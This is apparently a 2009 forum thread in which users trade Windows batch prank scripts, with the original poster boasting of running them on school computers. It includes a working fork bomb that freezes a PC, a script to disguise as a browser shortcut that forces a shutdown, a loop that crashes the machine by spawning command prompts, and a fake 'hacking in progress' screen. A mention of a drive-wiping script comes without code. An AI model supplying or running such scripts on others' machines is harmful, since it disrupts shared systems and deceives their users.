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PostPosted: Tue May 12, 2009 10:41 pm 
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well, since i opened up i think vman's batch file that told me i got a virus and all i got all into batch files... so here are sum that i use on my school computers >:) (only do it if i'm bored tho... i created a few too... but they're saved on the school pc....)

This one fork bombs a computer freezing it up (must save as fork.bat)
@ECHO OFF
:START
START fork.bat
GOTO START (used it today... teacher freaked out...)

Make a shortcut from this one and rename it to Internet Explorer of Firefox or what ever u use and it shuts down and tells them they've been p0wned instead

@ehco off

cls
shutdown -s -t 10
:b
color EF
color 08
color 19
color 2A
color 3b
color 4C
color 5D
color 6E
color 7F
color EF
echo You have just been p0wned
goto b


feel free to post any that you have... (since i might just open them up, plz don't make a virus... XD)

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PostPosted: Tue May 12, 2009 10:56 pm 
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This probably isn't the best idea or solution to your problem.

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PostPosted: Wed May 13, 2009 3:07 am 
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Eh, batches. There not bad, but there pretty plain + boring.. I personally prefer my matrix batch file.

Code:
@echo off
title Hacking in progress
color 0a
:top
echo %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random%
goto top



Then open up another notepad file, and have:

Code:
prompt Welcome to the Matrix [There name].........Hacking your computer
enter CLS after that, then press enter 6 times. Once you have done that, load up both of them, the first one for full screen, and the second one just so that it covers the writing.


Also;

in CMD, enter this: telnet towel.blinkenlights.nl

Good Starwars movie, very good.


This one will crash the computer because it's going in a loop:

Code:
@echo off
cls
title HAHAHAHA!!
top:
color 09
start %comspec%
echo %random% %random% %random% %random% %random%
goto top

Just restart the pc once you use that.



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PostPosted: Wed May 13, 2009 2:27 pm 
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eh those are good for starters, but I took mine pro. When someone really pisses me off I do this:


Code:
%go to hardware store%
@#Pay 8.99 for a wrench#@
(_()Throw it through the computer screen until it goes black()_)



NOTE: I HIGHLY SUGGEST NOT DOING THIS UNTIL YOU KNOW WHAT YOUR DOING!!!!(as it can get you in alot of shit if you get caught)

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ACE wrote:
eh those are good for starters, but I took mine pro. When someone really pisses me off I do this:


Code:
%go to hardware store%
@#Pay 8.99 for a wrench#@
(_()Throw it through the computer screen until it goes black()_)



NOTE: I HIGHLY SUGGEST NOT DOING THIS UNTIL YOU KNOW WHAT YOUR DOING!!!!(as it can get you in alot of shit if you get caught)


LOL ACE!!! i found some pretty damaging ones at school today... it like wipes out the entire hard drive and you have to have xp on a cd... otherwise u're screwed.. gotta reinstall it..... but yea..... mav, i use some of these for scheduled tasks... like to shut off my computer at night :) and stormzzz thanks man :) that's awesome :)

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Genesis 1:3-1 "VMAN said, "Let there be light," brick said, "No," and there was darkness."

^LOL
wonderbread wrote:
Randy wrote:
If you jailbreak it why would you need to buy guns?

wtf?

The Smashing Pumpkins wrote:
"If there is a god, I know he loves to rock"

Quote:
"Are you an illusion, or am I just getting stoned?"

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I’m gonna give you to the count of 10, to get your ugly, yellow no good kiesta off my property, before I pump your guts full of led!–Angels with Dirty Faces


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